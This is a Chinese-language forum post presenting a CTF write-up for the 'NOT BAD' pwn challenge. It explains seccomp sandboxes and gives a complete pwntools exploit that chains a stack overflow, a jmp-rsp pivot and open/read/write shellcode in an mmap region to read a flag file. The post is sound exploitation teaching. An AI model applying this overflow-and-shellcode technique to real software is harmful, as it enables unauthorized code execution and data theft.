首页
社区
课程
招聘
[原创]迅速入门64位栈沙盒ORW
2021-5-13 17:32 12516

[原创]迅速入门64位栈沙盒ORW

2021-5-13 17:32
12516

概述

例题buu 极客大挑战 NOT BAD

 

什么是orw?

 

所谓orw就是open read write 打开flag 写入flag 输出flag

 

什么是seccomp?

 

seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.

 

大概思路 这种题都会mmap一段内存在栈上

 

关于mmap如下

 

 

我们先用read让可以利用的变量结合上汇编语言跳转到mmap的地方

 

然后去写入我们的orw 就可以得到flag了QWQ

详解

直冲漏洞函数

 

很显然可以溢出0x10,但是无论是栈迁移还是泄露libc都是不可能的太小了

 

但是我们可以去进行orw,先进行沙箱检测

1
2
3
4
5
6
7
8
int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

很好orw权限都开了没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
q@ubuntu:~$ seccomp-tools dump ./not
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

先上exp,然后细说

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
io=process('./not')
#io=remote('node3.buuoj.cn',28726)
context.log_level='debug'
context.arch='amd64'
 
 
jmp_rsp=0x400a01
mmap_place=0x123000
#place=0x601000
 
io.recvuntil('have fun!\n')
 
 
 
#sh3=asm(shellcraft.open('./flag.txt'))
sh3+=asm(shellcraft.open('./flag'))
sh3+=asm(shellcraft.read(3,mmap_place+0x300,0x100))#about that 0x300 you add anymore is not importance you just need to sure  mmap_place+x in vmmap around
sh3+=asm(shellcraft.write(1,mmap_place+0x300,0x100))
 
 
sh1=asm(shellcraft.read(0,mmap_place,500))+asm("mov rax,0x123000;call rax")
#gdb.attach(io,"b *0x400A49")
sh1=sh1.ljust(40,'\x00')
sh1+=p64(jmp_rsp)
sh1+=asm("sub rsp,0x30;jmp rsp")
 
io.sendline(sh1)
 
sleep(1)
io.sendline(sh3)
 
io.interactive()

sh1非常好理解就是,开头40个\x00就是单纯的填充到ebp,然后利用shellcraft函数去利用read函数进行mmap的跳转

 

跳转用的汇编就是后面asm里的汇编语言

 

asm("sub rsp,0x30;jmp rsp")为什么是0x30?

 

因为rsp-0x30就是buf,咋看的?来看ida

 

buf距离end of stack variables共计0x30

1
2
3
4
5
-0000000000000020 buf             db 32 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

ok继续看,为什么是jmp rsp?

 

如果直接栈溢出,想要一溢出就执行shellcode是不可行的。要么使用call,要么使用像这里的jmp rsp,要么把shellcode的起始地址写到溢出的位置。

 

我们还要跳转到rsp指针去让他执行里面内容才可以

 

接着看关键的sh3构造orw

 

打开open flag这个没什么好说的

 

然后read这里必须好好讲讲

 

mmap_place地址多少?一般程序有注释,也可以gdb vmmap

1
asm(shellcraft.read(3,mmap_place+0x300,0x100))

vmmap如下,这段空间大小0x1000,也就是说read里面读取到哪里都无所谓反正mmap_place+x<=max_place就可以,后面那个0x100是读取大小

1
2
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x123000           0x124000 -wxp     1000 0

划重点!!!!!read()函数第一个变量 fd 是文件描述符

 

write也是一样的第一个参数

 

如下图我们可以知道对于文件描述符0-2都是保留的用于缓冲区

 

我们第一个打开文件的文件描述符必定是3

 

第二个是4

 

以此类推

 

 

改日有空再上堆的ORW


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-13 17:52 被H.R.P编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-5-16 19:44
2
1
支持
游客
登录 | 注册 方可回帖
返回